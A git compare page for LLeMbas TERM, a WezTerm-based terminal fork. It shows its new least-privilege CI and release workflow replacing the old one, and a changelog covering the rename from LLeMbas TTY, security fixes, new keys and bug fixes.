Compare commits
29
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
2915b1d439
|
||
|
|
23438d0768
|
||
|
|
805dfe2f1f
|
||
|
|
b52263d0bb
|
||
|
|
24464aa48e
|
||
|
|
ece8c2b595
|
||
|
|
1ca4a644cc
|
||
|
|
22215b7eb0
|
||
|
|
3454a70b4b
|
||
|
|
0f8e5addc5
|
||
|
|
593df939b9
|
||
|
|
03f0f34dce
|
||
|
|
b803aa39d9
|
||
|
|
03f4e2b9dc
|
||
|
|
6e55ec7ebf
|
||
|
|
dc630ca398
|
||
|
|
3839c7311c
|
||
|
|
26e836d9e9
|
||
|
|
a78e7ad48c
|
||
|
|
840e41468b
|
||
|
|
403f8d0730
|
||
|
|
b44ec57291
|
||
|
|
0fa3d1a990
|
||
|
|
79cc61e1a1
|
||
|
|
c158a6e52a
|
||
|
|
3d44c65fd2
|
||
|
|
e81acbe6b4
|
||
|
|
d728e88883
|
||
|
|
f4052687c6
|
No files matched your search
@@ -0,0 +1,184 @@
|
||||
# LLeMbas TERM's own workflow: the one workflow in this repository that is ours. Every other
|
||||
# file in this directory is WezTerm's, kept untouched so that merging upstream stays cheap; on
|
||||
# our repository those are switched off in the Actions settings (llembas/README.md says how).
|
||||
#
|
||||
# On every push to main and dev, on a pull request, and by hand: the hygiene check, the LLeMbas
|
||||
# layer's tests, a release build for Linux x86-64, the config crate's tests, a headless smoke
|
||||
# test of what was built, the keys pressed in a real window on a display of its own, and the
|
||||
# packages (kept as a build artefact), installed over the last package of the earlier name.
|
||||
# On a signed tag vX.Y.Z or vX.Y.Z-beta.N: the same, and then the GitHub Release with the
|
||||
# packages, SHA256SUMS and the tag message as its notes.
|
||||
#
|
||||
# Least privilege: the job that builds can read the repository and nothing else; only the job
|
||||
# that publishes (tags only, after the build, from the build's own artefact) can write a
|
||||
# release. Every action is pinned by its commit, the tag it was taken from beside it.
|
||||
name: llembas-term
|
||||
on:
|
||||
push:
|
||||
# round/**: a branch on which a round of work is built before it is merged into dev
|
||||
branches: [main, dev, "round/**"]
|
||||
tags: ["v*"]
|
||||
pull_request:
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
concurrency:
|
||||
group: llembas-term-${{ github.ref }}
|
||||
cancel-in-progress: ${{ !startsWith(github.ref, 'refs/tags/') }}
|
||||
|
||||
jobs:
|
||||
linux:
|
||||
runs-on: ubuntu-22.04
|
||||
timeout-minutes: 120
|
||||
permissions:
|
||||
contents: read
|
||||
env:
|
||||
CARGO_INCREMENTAL: "0"
|
||||
CARGO_TERM_COLOR: always
|
||||
steps:
|
||||
- uses: actions/checkout@fbc6f3992d24b796d5a048ff273f7fcc4a7b6c09 # v5.1.0
|
||||
with:
|
||||
# The whole history: the hygiene check reads what was added since the commit in
|
||||
# UPSTREAM, and the build derives WezTerm's version from the newest commit.
|
||||
fetch-depth: 0
|
||||
# freetype, harfbuzz, libpng and zlib are built from deps/
|
||||
submodules: recursive
|
||||
- name: Nothing private in what this fork adds
|
||||
run: scripts/hygiene.sh
|
||||
- name: The tag names this version
|
||||
if: startsWith(github.ref, 'refs/tags/v')
|
||||
run: |
|
||||
git fetch --force origin "refs/tags/$GITHUB_REF_NAME:refs/tags/$GITHUB_REF_NAME"
|
||||
version="$(tr -d '[:space:]' < VERSION)"
|
||||
[ "v$version" = "$GITHUB_REF_NAME" ] || { echo "VERSION says $version, the tag is $GITHUB_REF_NAME" >&2; exit 1; }
|
||||
- name: Tools for the checks
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y lua5.4 luajit zsh shellcheck yamllint desktop-file-utils appstream xvfb xdotool
|
||||
- name: The LLeMbas layer's tests (Lua 5.4 and LuaJIT)
|
||||
run: scripts/test-lua.sh --all
|
||||
- name: The shell integration's status record (bash and zsh, each on a terminal of its own)
|
||||
run: llembas/tests/shell-test.sh
|
||||
- name: Shell scripts, the workflow, the desktop file
|
||||
run: |
|
||||
shellcheck scripts/*.sh llembas/packaging/*.sh llembas/tests/*.sh llembas/ci/*.sh \
|
||||
llembas/shell/llembas-term.sh llembas/setup/llembas-term-setup
|
||||
zsh -n llembas/shell/llembas-term.sh
|
||||
yamllint -d '{extends: default, rules: {line-length: disable, document-start: disable, truthy: disable}}' .github/workflows/llembas-term.yml
|
||||
desktop-file-validate llembas/packaging/eu.llembas.term.desktop
|
||||
appstreamcli validate --no-net llembas/packaging/eu.llembas.term.appdata.xml || true
|
||||
- name: System libraries
|
||||
run: env CI=yes ./get-deps
|
||||
- uses: actions-rust-lang/setup-rust-toolchain@166cdcfd11aee3cb47222f9ddb555ce30ddb9659 # v1.17.0
|
||||
with:
|
||||
# Upstream's code is not held to "no warnings" here; the action's default would be.
|
||||
rustflags: ""
|
||||
- name: The set-up program (what it installs is checked against the release key)
|
||||
run: llembas/tests/setup-test.sh
|
||||
- name: Tests of the line logic (the ask line's editor, the input line, history, suggestions, colours)
|
||||
# first of the Rust steps: it has no dependencies, so a mistake in it is known in a minute
|
||||
run: llembas/ci/cargo-annotated.sh test --locked -p llembas-line
|
||||
- name: Build (release)
|
||||
# also when the line logic's tests failed: one run then says both what they found and
|
||||
# whether the terminal compiles (the steps after this one still stop at a failure)
|
||||
if: ${{ !cancelled() }}
|
||||
# through the wrapper: a compiler error is then an annotation on the run as well
|
||||
run: llembas/ci/cargo-annotated.sh build --release --locked -p wezterm -p wezterm-gui -p wezterm-mux-server
|
||||
- name: The binaries carry our names
|
||||
run: |
|
||||
ls -l target/release/llembas-term target/release/llembas-term-gui target/release/llembas-term-mux-server
|
||||
target/release/llembas-term --version
|
||||
- name: Tests of the configuration crate (where the layer is built in)
|
||||
run: llembas/ci/cargo-annotated.sh test --release --locked -p config
|
||||
- name: Smoke test, headless
|
||||
run: llembas/tests/smoke.sh target/release
|
||||
- name: Keys pressed in a real window (Xvfb) reach LLeMbas IDE's pane told apart
|
||||
# Not a gate: a runner without a software OpenGL cannot make the window at all, and
|
||||
# says so (status 2). What it found is an annotation on the run either way.
|
||||
continue-on-error: true
|
||||
run: llembas/tests/keys-gui.sh target/release
|
||||
- name: Package (.deb and tarball)
|
||||
run: llembas/packaging/package.sh target dist
|
||||
- name: The .deb installs, runs and is removed cleanly
|
||||
run: |
|
||||
sudo apt-get install -y ./dist/llembas-term_*.deb
|
||||
llembas-term --version
|
||||
test ! -e /usr/lib/llembas-term/lembas
|
||||
llembas-term-setup --dry-run
|
||||
llembas/tests/smoke.sh /usr/lib/llembas-term
|
||||
sudo apt-get remove -y llembas-term
|
||||
test ! -e /usr/bin/llembas-term
|
||||
- name: The .deb takes the place of the package of the earlier name (llembas-tty 1.0.0-beta.5)
|
||||
run: |
|
||||
old=llembas-tty_1.0.0-beta.5_amd64.deb
|
||||
mkdir -p upgrade
|
||||
curl -fsSL --retry 3 -o "upgrade/$old" "$GITHUB_SERVER_URL/$GITHUB_REPOSITORY/releases/download/v1.0.0-beta.5/$old"
|
||||
sudo apt-get install -y "./upgrade/$old"
|
||||
llembas-tty --version
|
||||
sudo apt-get install -y ./dist/llembas-term_*.deb
|
||||
# the old package is gone (at most its /etc/profile.d file is left, until purged) ...
|
||||
state="$(dpkg-query -W -f='${db:Status-Abbrev}' llembas-tty 2>/dev/null || true)"
|
||||
case "$state" in ii*) echo "::error title=upgrade::llembas-tty is still installed ($state)"; exit 1 ;; esac
|
||||
for f in /usr/bin/llembas-tty /usr/bin/llembas-tty-gui /usr/bin/llembas-tty-mux-server /usr/bin/llembas-tty-setup /usr/lib/llembas-tty /usr/share/llembas-tty; do
|
||||
if [ -e "$f" ]; then echo "::error title=upgrade::$f is still there after the upgrade"; exit 1; fi
|
||||
done
|
||||
# ... and the new one is whole and runs
|
||||
dpkg-query -W -f='${db:Status-Abbrev} ${Package} ${Version}\n' llembas-term
|
||||
llembas-term --version
|
||||
llembas-term-mux-server --version
|
||||
llembas-term-gui --version
|
||||
llembas-term-setup --dry-run
|
||||
llembas/tests/smoke.sh /usr/lib/llembas-term
|
||||
sudo apt-get purge -y llembas-term
|
||||
sudo dpkg --purge llembas-tty
|
||||
test ! -e /etc/profile.d/llembas-tty.sh
|
||||
test ! -e /etc/profile.d/llembas-term.sh
|
||||
- name: SHA256SUMS
|
||||
run: |
|
||||
cd dist
|
||||
version="$(tr -d '[:space:]' < ../VERSION)"
|
||||
# Written beside the folder first: inside it, the glob would list SHA256SUMS itself.
|
||||
{ echo "# llembas-term $version"; sha256sum -- *; } > ../SHA256SUMS
|
||||
mv ../SHA256SUMS .
|
||||
cat SHA256SUMS
|
||||
- uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2
|
||||
with:
|
||||
name: llembas-term-linux-x86_64
|
||||
path: dist/*
|
||||
retention-days: 14
|
||||
|
||||
release:
|
||||
# only for a tag, only after everything above passed, and only this job may write
|
||||
if: startsWith(github.ref, 'refs/tags/v')
|
||||
needs: linux
|
||||
runs-on: ubuntu-22.04
|
||||
timeout-minutes: 15
|
||||
permissions:
|
||||
contents: write
|
||||
steps:
|
||||
- uses: actions/checkout@fbc6f3992d24b796d5a048ff273f7fcc4a7b6c09 # v5.1.0
|
||||
with:
|
||||
# the tag's message is the release's notes
|
||||
fetch-depth: 0
|
||||
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
|
||||
with:
|
||||
name: llembas-term-linux-x86_64
|
||||
path: dist
|
||||
- name: Publish the GitHub Release
|
||||
env:
|
||||
GH_TOKEN: ${{ github.token }}
|
||||
run: |
|
||||
git fetch --force origin "refs/tags/$GITHUB_REF_NAME:refs/tags/$GITHUB_REF_NAME"
|
||||
version="$(tr -d '[:space:]' < VERSION)"
|
||||
git tag -l --format='%(contents)' "$GITHUB_REF_NAME" | sed '/-----BEGIN SSH SIGNATURE-----/,$d' > notes.md
|
||||
# A version is released once: a fix is a new version, never the old one re-released.
|
||||
if gh release view "$GITHUB_REF_NAME" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
|
||||
echo "A release for $GITHUB_REF_NAME exists already. Release the fix as a new version." >&2
|
||||
exit 1
|
||||
fi
|
||||
pre=()
|
||||
case "$version" in *-*) pre=(--prerelease) ;; esac
|
||||
gh release create "$GITHUB_REF_NAME" --repo "$GITHUB_REPOSITORY" --verify-tag "${pre[@]}" \
|
||||
--title "LLeMbas TERM $version" --notes-file notes.md dist/*
|
||||
@@ -1,120 +0,0 @@
|
||||
# LLeMbas TTY's own workflow: the one workflow in this repository that is ours. Every other
|
||||
# file in this directory is WezTerm's, kept untouched so that merging upstream stays cheap; on
|
||||
# our repository those are switched off in the Actions settings (llembas/README.md says how).
|
||||
#
|
||||
# On every push to main and dev, on a pull request, and by hand: the hygiene check, the LLeMbas
|
||||
# layer's tests, a release build for Linux x86-64, the config crate's tests, a headless smoke
|
||||
# test of what was built, and the packages (kept as a build artefact).
|
||||
# On a signed tag vX.Y.Z or vX.Y.Z-beta.N: the same, and then the GitHub Release with the
|
||||
# packages, SHA256SUMS and the tag message as its notes.
|
||||
name: llembas-tty
|
||||
on:
|
||||
push:
|
||||
branches: [main, dev]
|
||||
tags: ["v*"]
|
||||
pull_request:
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
concurrency:
|
||||
group: llembas-tty-${{ github.ref }}
|
||||
cancel-in-progress: ${{ !startsWith(github.ref, 'refs/tags/') }}
|
||||
|
||||
jobs:
|
||||
linux:
|
||||
runs-on: ubuntu-22.04
|
||||
timeout-minutes: 120
|
||||
permissions:
|
||||
contents: write
|
||||
env:
|
||||
CARGO_INCREMENTAL: "0"
|
||||
CARGO_TERM_COLOR: always
|
||||
steps:
|
||||
- uses: actions/checkout@v5
|
||||
with:
|
||||
# The whole history: the hygiene check reads what was added since the commit in
|
||||
# UPSTREAM, and the build derives WezTerm's version from the newest commit.
|
||||
fetch-depth: 0
|
||||
# freetype, harfbuzz, libpng and zlib are built from deps/
|
||||
submodules: recursive
|
||||
- name: Nothing private in what this fork adds
|
||||
run: scripts/hygiene.sh
|
||||
- name: The tag names this version
|
||||
if: startsWith(github.ref, 'refs/tags/v')
|
||||
run: |
|
||||
git fetch --force origin "refs/tags/$GITHUB_REF_NAME:refs/tags/$GITHUB_REF_NAME"
|
||||
version="$(tr -d '[:space:]' < VERSION)"
|
||||
[ "v$version" = "$GITHUB_REF_NAME" ] || { echo "VERSION says $version, the tag is $GITHUB_REF_NAME" >&2; exit 1; }
|
||||
- name: Tools for the checks
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y lua5.4 luajit zsh shellcheck yamllint desktop-file-utils appstream
|
||||
- name: The LLeMbas layer's tests (Lua 5.4 and LuaJIT)
|
||||
run: scripts/test-lua.sh --all
|
||||
- name: Shell scripts, the workflow, the desktop file
|
||||
run: |
|
||||
shellcheck scripts/*.sh llembas/packaging/*.sh llembas/tests/*.sh llembas/ci/*.sh \
|
||||
llembas/shell/llembas-tty.sh llembas/shell/autocomplete.bash
|
||||
zsh -n llembas/shell/autocomplete.zsh
|
||||
zsh -n llembas/shell/llembas-tty.sh
|
||||
yamllint -d '{extends: default, rules: {line-length: disable, document-start: disable, truthy: disable}}' .github/workflows/llembas-tty.yml
|
||||
desktop-file-validate llembas/packaging/eu.llembas.tty.desktop
|
||||
appstreamcli validate --no-net llembas/packaging/eu.llembas.tty.appdata.xml || true
|
||||
- name: System libraries
|
||||
run: env CI=yes ./get-deps
|
||||
- uses: actions-rust-lang/setup-rust-toolchain@v1
|
||||
with:
|
||||
# Upstream's code is not held to "no warnings" here; the action's default would be.
|
||||
rustflags: ""
|
||||
- name: The bundled LLeMbas CLI, verified
|
||||
run: scripts/fetch-cli.sh
|
||||
- name: Build (release)
|
||||
run: cargo build --release --locked -p wezterm -p wezterm-gui -p wezterm-mux-server
|
||||
- name: The binaries carry our names
|
||||
run: |
|
||||
ls -l target/release/llembas-tty target/release/llembas-tty-gui target/release/llembas-tty-mux-server
|
||||
target/release/llembas-tty --version
|
||||
- name: Tests of the configuration crate (where the layer is built in)
|
||||
run: cargo test --release --locked -p config
|
||||
- name: Smoke test, headless
|
||||
run: llembas/tests/smoke.sh target/release
|
||||
- name: Package (.deb and tarball)
|
||||
run: llembas/packaging/package.sh target dist
|
||||
- name: The .deb installs, runs and is removed cleanly
|
||||
run: |
|
||||
sudo apt-get install -y ./dist/llembas-tty_*.deb
|
||||
llembas-tty --version
|
||||
test -x /usr/lib/llembas-tty/lembas
|
||||
llembas/tests/smoke.sh /usr/lib/llembas-tty
|
||||
sudo apt-get remove -y llembas-tty
|
||||
- name: SHA256SUMS
|
||||
run: |
|
||||
cd dist
|
||||
version="$(tr -d '[:space:]' < ../VERSION)"
|
||||
# Written beside the folder first: inside it, the glob would list SHA256SUMS itself.
|
||||
{ echo "# llembas-tty $version"; sha256sum -- *; } > ../SHA256SUMS
|
||||
mv ../SHA256SUMS .
|
||||
cat SHA256SUMS
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: llembas-tty-linux-x86_64
|
||||
path: dist/*
|
||||
retention-days: 14
|
||||
- name: Publish the GitHub Release
|
||||
if: startsWith(github.ref, 'refs/tags/v')
|
||||
env:
|
||||
GH_TOKEN: ${{ github.token }}
|
||||
run: |
|
||||
version="$(tr -d '[:space:]' < VERSION)"
|
||||
git tag -l --format='%(contents)' "$GITHUB_REF_NAME" | sed '/-----BEGIN SSH SIGNATURE-----/,$d' > notes.md
|
||||
# A version is released once: a fix is a new version, never the old one re-released.
|
||||
if gh release view "$GITHUB_REF_NAME" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
|
||||
echo "A release for $GITHUB_REF_NAME exists already. Release the fix as a new version." >&2
|
||||
exit 1
|
||||
fi
|
||||
pre=()
|
||||
case "$version" in *-*) pre=(--prerelease) ;; esac
|
||||
gh release create "$GITHUB_REF_NAME" --repo "$GITHUB_REPOSITORY" --verify-tag "${pre[@]}" \
|
||||
--title "LLeMbas TTY $version" --notes-file notes.md dist/*
|
||||
+356
-2
@@ -1,7 +1,361 @@
|
||||
# Changelog
|
||||
|
||||
What changed in each release of LLeMbas TTY. WezTerm's own changes are in
|
||||
`docs/changelog.md`, as upstream keeps them.
|
||||
What changed in each release of LLeMbas TERM (called LLeMbas TTY up to 1.0.0-beta.5; the
|
||||
entries of those releases say what was true then, old names included). WezTerm's own
|
||||
changes are in `docs/changelog.md`, as upstream keeps them.
|
||||
|
||||
## Unreleased
|
||||
|
||||
## 1.0.0-beta.6 — 2026-12-03
|
||||
|
||||
### Renamed: LLeMbas TTY is now LLeMbas TERM
|
||||
|
||||
Everything that carried the old name carries the new one. **If you are upgrading, do these
|
||||
in order:**
|
||||
|
||||
1. **Update the LLeMbas CLI first** — `lembas update` (2.0.0-beta.21 or newer). The terminal needs a CLI that knows
|
||||
it by its new name (the CLI's *terminal contract 4*). With an older CLI the terminal
|
||||
says so in words and nothing of LLeMbas works in it but the key that opens the CLI
|
||||
itself in a tab.
|
||||
2. **Install the new package** — `sudo apt install ./llembas-term_<version>_amd64.deb`. It
|
||||
replaces `llembas-tty`: that package is removed in the same step (the new one declares
|
||||
`Replaces`, `Conflicts` and `Provides: llembas-tty`). From the tarball, unpack the new one
|
||||
and remove the old directory yourself.
|
||||
3. **Change one line in `~/.zshrc`** (or `~/.bashrc`), if you had added the shell
|
||||
integration's line. The old line sources a file that no longer exists, behind a variable
|
||||
that is no longer set, so it silently does nothing — and in zsh there are then no
|
||||
suggestions, colours or status records. The new line:
|
||||
|
||||
```sh
|
||||
[ -n "$LLEMBAS_TERM" ] && . /usr/share/llembas-term/shell/llembas-term.sh
|
||||
```
|
||||
|
||||
`llembas-term-setup` prints it when it finds the old one (it does not edit your files).
|
||||
|
||||
What is renamed:
|
||||
|
||||
- **Commands:** `llembas-term`, `llembas-term-gui`, `llembas-term-mux-server`,
|
||||
`llembas-term-setup` (were `llembas-tty…`).
|
||||
- **Package and files:** `llembas-term`; `llembas-term_<version>_<arch>.deb`,
|
||||
`llembas-term-<version>-linux-<arch>.tar.xz`; `/usr/lib/llembas-term/`,
|
||||
`/usr/share/llembas-term/`, `/etc/profile.d/llembas-term.sh`.
|
||||
- **Application id and window class:** `eu.llembas.term` (desktop file, icon, appdata, X11
|
||||
class, Wayland app id, notifications). A launcher you pinned has to be pinned again.
|
||||
- **Directories:** `llembas-term` for the configuration (`~/.config/llembas-term/llembas-term.lua`,
|
||||
or `~/.llembas-term.lua`), data, cache and the runtime directory.
|
||||
- **What a pane sees:** `LLEMBAS_TERM` (the version), `LLEMBAS_TERM_PANE`,
|
||||
`LLEMBAS_TERM_EXECUTABLE`, `LLEMBAS_TERM_EXECUTABLE_DIR`, `LLEMBAS_TERM_STATUS_DIR`,
|
||||
`LLEMBAS_TERM_UNIX_SOCKET`, `LLEMBAS_TERM_CONFIG_FILE`, `LLEMBAS_TERM_CONFIG_DIR`. No
|
||||
`LLEMBAS_TTY…` is set any more, and one inherited from an old terminal that started this
|
||||
one is dropped. (`LLEMBAS_TTY_AUTOCOMPLETE` and `LLEMBAS_TTY_CLI` have no new name: the
|
||||
shell's own autocomplete they were for is gone, below.)
|
||||
- **Between the terminal and the engine:** the status directory
|
||||
`<runtime directory>/llembas-term/status-<pid>/`, the status record's first line
|
||||
`llembas-term-status=1`, the input mark's `llembas-term-input=1`, and the user variable
|
||||
`llembas_term_status`.
|
||||
- **The shell integration:** `llembas-term.sh` (and `LLEMBAS_TERM_SKIP_STATUS`).
|
||||
- Not renamed: `require 'llembas'` in your configuration file, and `lembas` itself.
|
||||
|
||||
What is carried over, once, at the first start of the renamed terminal:
|
||||
|
||||
- **The terminal's own command history and the mark that you chose settings through the
|
||||
terminal** (`command-history`, `settings-chosen`) are copied from
|
||||
`~/.local/share/llembas-tty/` into `~/.local/share/llembas-term/`, when the new directory
|
||||
does not exist yet. The old files stay where they are, nothing that exists in the new
|
||||
place is written over, and the terminal's log says what was copied.
|
||||
- **Your configuration file is read where it is.** While there is no file of the new name,
|
||||
`~/.config/llembas-tty/llembas-tty.lua` (or `~/.llembas-tty.lua`) is read, with the modules
|
||||
beside it, and the terminal tells you once per start to move it. It is not moved or copied
|
||||
for you.
|
||||
- Your settings (model, mode, switches, by directory) are kept by the CLI and need nothing.
|
||||
- Not carried over: recently used palette entries and emoji. The old package's
|
||||
`/etc/profile.d/llembas-tty.sh` stays until `sudo apt purge llembas-tty`, and does nothing.
|
||||
|
||||
### Security
|
||||
|
||||
- **Output in a pane could make the terminal type your question into a shell, with Enter.**
|
||||
The terminal took a pane for "the display" (or for a pane running LLeMbas) by variables
|
||||
that any program printing to a pane can set, and that stay set after LLeMbas was killed.
|
||||
A file shown on screen, a line of a log or a remote host could so have your next question
|
||||
— and the name of the file holding what your pane showed — written into a shell and
|
||||
entered there, or into a session on another machine. **Now the terminal trusts only what
|
||||
it started**: the display is the pane it opened itself, remembered by its id, and it is
|
||||
written to only while the LLeMbas CLI the terminal started is still the program in front
|
||||
of it, checked each time. What a pane says of itself is shown at most, never obeyed; from
|
||||
a pane that is not the display it is not even shown. The CLI's own interface in a tab is
|
||||
never written to by the ask line. A display whose engine ended is forgotten: the next
|
||||
question opens a new one and closes the old pane, and the shell that keeps a failed
|
||||
display's last sentence on screen no longer reads from the pane.
|
||||
|
||||
- **AI autocomplete sent secrets typed on the command line.** With AI autocomplete on, any
|
||||
line you paused on was sent for a completion — also `export SOME_KEY=…`, a password given
|
||||
to a database client, an `Authorization` header, a URL with a password in it. The terminal
|
||||
now looks at every line itself, before it goes anywhere: a line that looks as if it holds
|
||||
a secret is **not sent** (the autocomplete status says "not asked: the line looks like it
|
||||
holds a secret"), is **not kept in the terminal's command history** (a history file from
|
||||
an earlier version is cleaned of such lines when it is next read), and is **left out of
|
||||
what is passed on with a question**, together with its output; a line of output or of the
|
||||
screen that looks so is left out too. The README lists exactly what is recognised and what
|
||||
cannot be (*Secrets on a command line*).
|
||||
|
||||
- **What a pane says of its shell no longer decides anything that matters.** A shell
|
||||
reports where it stands both in a file and by a variable of the pane, and the variable can
|
||||
be printed by anything. It could put a command of its choice into your history — to be
|
||||
suggested back to you as if you had run it — and replace the record your own shell keeps.
|
||||
Now the file your shell writes itself, while that shell runs, is the authority: the
|
||||
variable never replaces it, and only it puts a command into the history, lets LLeMbas know
|
||||
your prompt is empty, or says how a command ended. Commands run on another machine over
|
||||
`ssh` are therefore no longer kept in the terminal's history.
|
||||
|
||||
- **Suggestions and the AI's autocomplete only at your shell's prompt.** What you type into
|
||||
a program a command started — a database client, a remote session — was coloured, offered
|
||||
suggestions and, with AI autocomplete on, sent for a completion. Now nothing is offered
|
||||
while your shell says a command runs, and the AI is asked only while the program in front
|
||||
of the pane is a shell.
|
||||
|
||||
- **Taking a suggestion takes exactly what you saw.** A suggestion too long for the row is
|
||||
taken up to where it was cut, characters that are drawn as nothing (zero-width, the ones
|
||||
that turn text around) are never in a suggestion or the history, and no suggestion is
|
||||
taken while a key you pressed is not on the screen yet.
|
||||
|
||||
- **The shell's own autocomplete is gone** (`autocomplete = 'shell'`). It could not know
|
||||
that a pane was made private or that AI was switched off, and went on sending what you
|
||||
typed. The terminal draws the AI's suggestion itself; `'shell'` now turns nothing on, and
|
||||
the log says so.
|
||||
|
||||
- **An answer goes to what you were shown.** The keys that allow or deny answered whatever
|
||||
LLeMbas asked at the moment the key arrived. Now a request that changed a moment before
|
||||
is not answered (you are told to read it again), and with a LLeMbas CLI that numbers what
|
||||
it asks the number goes with the answer, so that it cannot be taken for another. A
|
||||
request too long to show says that the rest is in the display.
|
||||
|
||||
- **With AI off, the LLeMbas CLI is not started.** It still was, to read your settings and
|
||||
to keep a choice. Now the one thing that starts it with AI off is the AI switch itself;
|
||||
every other choice made then holds until the terminal closes. The README says exactly what
|
||||
still works.
|
||||
|
||||
- **A terminal started from a pane of another keeps its own status records.** It used to
|
||||
take over the first terminal's directory, so that each could read the other's shells and
|
||||
input marks. Each terminal now always uses its own.
|
||||
|
||||
- **The set-up program refuses to run as root, and refuses a signed release of another
|
||||
version.** A release whose signed `SHA256SUMS` names its product and version must name the
|
||||
one that was asked for, so that an older signed release cannot be passed off as the newest.
|
||||
|
||||
- **The packages are built with the least the build needs.** Only the step that publishes a
|
||||
release may write to the repository, and only for a tag, after the build passed; every
|
||||
step of the build is pinned to the exact code it was checked with.
|
||||
|
||||
### Added
|
||||
|
||||
- **`Ctrl+Tab` on the ask line switches the mode**, manual ↔ auto. What stands before your
|
||||
question says so at once, the question you are about to send is answered in it, a running
|
||||
display is told, and the choice is remembered like a mode picked from the list (for this
|
||||
directory where it has settings of its own, else for the machine). Anywhere but the ask
|
||||
line `Ctrl+Tab` is the next tab, as before.
|
||||
- **`Ctrl+Shift+M` opens the list of chat models, `Ctrl+Alt+M` the list of autocomplete
|
||||
models** — the lists behind the palette entries, as keys. Neither chord did anything
|
||||
before. Both work from the ask line: the list opens over it, and when it closes the ask
|
||||
line is still there with your text and, for the chat model, with the model you chose.
|
||||
- **The keys LLeMbas IDE has too go to it while it is in front.** `Ctrl+Shift+A`, `Ctrl+Tab`,
|
||||
`Ctrl+Shift+M`, `Ctrl+Alt+M`, `Ctrl+Alt+A`, `Ctrl+Shift+I`, `Ctrl+Shift+G`, `Ctrl+Shift+Y`,
|
||||
`Ctrl+Shift+J`, `Ctrl+Alt+Shift+Y`, `Ctrl+Shift+E`, `Ctrl+Shift+D`, `Ctrl+Shift+P`,
|
||||
`Alt+Left`, `Alt+Right`: in a pane where LLeMbas IDE runs (it says so itself, with the
|
||||
pane's user variable `llembas_ide`), the terminal does not act on them and sends them on,
|
||||
told apart from their plain cousins. The terminal's other keys work there as everywhere;
|
||||
its command palette is also on `Ctrl+Shift+Alt+P`, which is never handed on.
|
||||
`ide_keys = false` keeps every key with the terminal.
|
||||
- **The kitty keyboard protocol for programs that ask for it** (`enable_kitty_keyboard`, set
|
||||
by the built-in configuration and by `apply` unless your own file sets it;
|
||||
`kitty_keyboard = false` leaves it off). A program that does not ask gets its keys exactly
|
||||
as before.
|
||||
|
||||
### Fixed
|
||||
|
||||
- **Asking from a full-screen program lost the question.** In an editor or a pager, with
|
||||
nothing of the screen asked about, the terminal handed LLeMbas an empty context, which it
|
||||
refuses: the display did not start and the question was dropped. Now the question goes
|
||||
alone. And when a display cannot start or ends before it took a question, the ask line
|
||||
opens again with your question on it and what LLeMbas said.
|
||||
- **The ask line opens at once.** It waited for the LLeMbas CLI to say what model and
|
||||
settings apply, and what you typed meanwhile went to your shell. Now it opens first and
|
||||
the model in front of the question follows.
|
||||
- **A question LLeMbas asks you is answered on the ask line** — a number, `n` to skip, or
|
||||
your words. The notice named the allow and deny keys, which do not answer a question.
|
||||
- **Each pane follows its own directory's settings.** With two windows in two directories
|
||||
the terminal switched back and forth between their settings every second and asked the AI
|
||||
again each time.
|
||||
- **A question asked while the display starts keeps its context**, and context files that
|
||||
were never handed over are removed, at once where the terminal knows of them, else within
|
||||
ten minutes — not only when the next question is asked.
|
||||
- **After `lembas update` the terminal sees the new CLI** within a minute, and at once when
|
||||
it had found the old one lacking — no restart needed.
|
||||
- **A shell reached with `ssh` inside a pane is named as that machine's** in what goes with
|
||||
a question (with a LLeMbas CLI that reads it), and the display opens in a directory of
|
||||
this machine. The context also says how each command ended, where the shell said so.
|
||||
- **Typing is not slowed by slow disks.** Whether a command exists is looked up in a listing
|
||||
of each `PATH` directory, read once a minute, not by a look at the disk for every
|
||||
character; nothing on a network or automounted file system is looked at; the history and
|
||||
the input mark are written by a thread of their own.
|
||||
- **A notice of a display that was closed is taken away at once.**
|
||||
- Texts: the chat model is called that everywhere (*LLeMbas: choose chat model*); "the
|
||||
LLeMbas CLI's own choice" where it said "the engine's own choice"; a CLI too old to say
|
||||
what it can do is told so with the key that still works (it named a version that was not
|
||||
enough); the message for a part only the window has says that; `--help` names the
|
||||
terminal's own configuration file.
|
||||
|
||||
### Changed
|
||||
|
||||
- **The terminal needs the engine's terminal contract 4.** A CLI from before it is not used
|
||||
as the display, for the lists of models or for remembering settings; the terminal names
|
||||
the CLI's version and contract and says `lembas update`. *LLeMbas: autocomplete status*
|
||||
says the same.
|
||||
|
||||
## 1.0.0-beta.5 — 2026-12-02
|
||||
|
||||
### Fixed
|
||||
|
||||
- **AI autocomplete never asked.** The terminal started the engine without the pane's
|
||||
directory, which the engine requires: the directory was taken from what the shell
|
||||
integration reports (`file://<host><directory>`) in a way that fails for every address
|
||||
that names a host — which is every one the integration writes. The engine ended with a
|
||||
usage error, its error output was discarded, and nothing was shown: no suggestion, no
|
||||
request to the server, no word about it. The directory is now read correctly (so are the
|
||||
paths that the highlighting marks as existing, which had the same fault for relative
|
||||
paths), and when there is none the person's home is given.
|
||||
- **What an attempt gave is never silent.** The engine's own sentence — not logged in, no
|
||||
model chosen, a timeout — is kept and shown by *LLeMbas: autocomplete status*, and written
|
||||
to the terminal's log.
|
||||
- **The engine is given time.** It was stopped after 2.5 seconds, before a model on the
|
||||
person's own machine could be loaded for its first answer; and a request that is closed
|
||||
stops the loading. Now eight seconds by default (an option: `autocomplete_timeout_ms`), and
|
||||
twenty for the first request after autocomplete is switched on or its model changes.
|
||||
- The autocomplete model chosen in the terminal is passed to the engine with each request.
|
||||
- **What LLeMbas asks stands until it is answered.** The word at the cursor's row that says
|
||||
an approval or a question waits, with its keys, was gone after four seconds; it now stays
|
||||
for as long as the display asks, moves with you to another pane of the tab, and goes when
|
||||
it is answered or the display closes.
|
||||
|
||||
### Added
|
||||
|
||||
- **Settings are remembered, for this machine and for a working directory.** Every switch
|
||||
and choice — AI, AI autocomplete, suggestions, highlighting, mode, chat model,
|
||||
